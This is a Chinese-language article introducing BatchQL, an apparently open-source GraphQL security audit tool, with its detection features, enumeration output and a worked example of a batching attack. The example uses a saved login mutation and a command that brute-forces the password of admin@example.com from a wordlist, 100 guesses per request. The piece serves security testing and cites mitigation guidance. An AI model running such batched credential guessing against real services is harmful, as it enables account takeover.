使用BatchQL對GraphQL安全性進行檢測
VSole2021-10-17 13:08:11
關于BatchQL
BatchQL是一款功能強大的GraphQL的安全審計工具,可以通過執行Batch GraphQL查詢和輸入變異數據來了解目標GraphQL應用的安全情況。該工具基于Python開發,其實現代碼并不復雜,因此歡迎社區的廣大研究人員和開發人員貢獻自己的代碼。
檢測內容
當前版本的BatchQL支持檢測下列內容:
支持各類查詢方式;
模式建議檢測;
CSRF檢測
基于查詢名稱的Batching;
基于查詢JSON列表的Batching;
工具下載
廣大研究人員可以使用下列命令將該項目源碼克隆至本地:
git clone https://github.com/assetnote/batchql.git
工具使用
信息枚舉
? python batch.py -e http://re.local:5000/graphiql -p localhost:8080Schema suggestions enabled. Use Clairvoyance to recover schema: https://github.com/nikitastupin/clairvoyanceCSRF GET based successful. Please confirm that this is a valid issue.CSRF POST based successful. Please confirm that this is a valid issue.Query name based batching: GraphQL batching is possible... preflight request was successful.Query JSON list based batching: GraphQL batching is possible... preflight request was successful.Most provide query, wordlist, and size to perform batching attack.
Batching攻擊
首先,保存一個包含有目標GraphQL查詢的文件,例如acc-login.txt:
mutation emailLoginRemembered($loginInput: InputRememberedEmailLogin!) {
emailLoginRemembered(loginInput: $loginInput) {
authToken {
accessToken
__typename
}
userSessionResponse {
userToken
userIdentity {
userId
identityType
verified
onboardingStatus
registrationReferralCode
userReferralInfo {
referralCode {
code
valid
__typename
}
__typename
}
__typename
}
__typename
}
__typename
}
}
接下來,運行下列命令來執行GraphQL Batching攻擊:
? python batch.py --query acc-login.txt --wordlist passwords.txt -v '{"loginInput":{"email":"admin@example.com","password":"#VARIABLE#","rememberMe":false}}' --size 100 -e http://re.local:5000/graphiql -p localhost:8080
上述命令將實現下列內容:
1、從一個本地文件執行特定的請求:
--query acc-login.txt
2、指定一個字典:
--wordlist passwords.txt
3、指定變量輸入(使用替換識別符):
-v {"loginInput":{"email":"admin@example.com","password":"#VARIABLE#","rememberMe":false}}
4、指定Batch大小:
--size 100
5、指定目標節點:
-e http://re.local:5000/graphiql
6、指定一個代理:
-p localhost:8080
項目地址
BatchQL:【點擊閱讀原文】
參考資料
https://blog.assetnote.io/2021/08/29/exploiting-graphql/
https://github.com/dolevf/Damn-Vulnerable-GraphQL-Application
https://lab.wallarm.com/graphql-batching-attack/
https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html#mitigating-batching-attacks?
VSole
網絡安全專家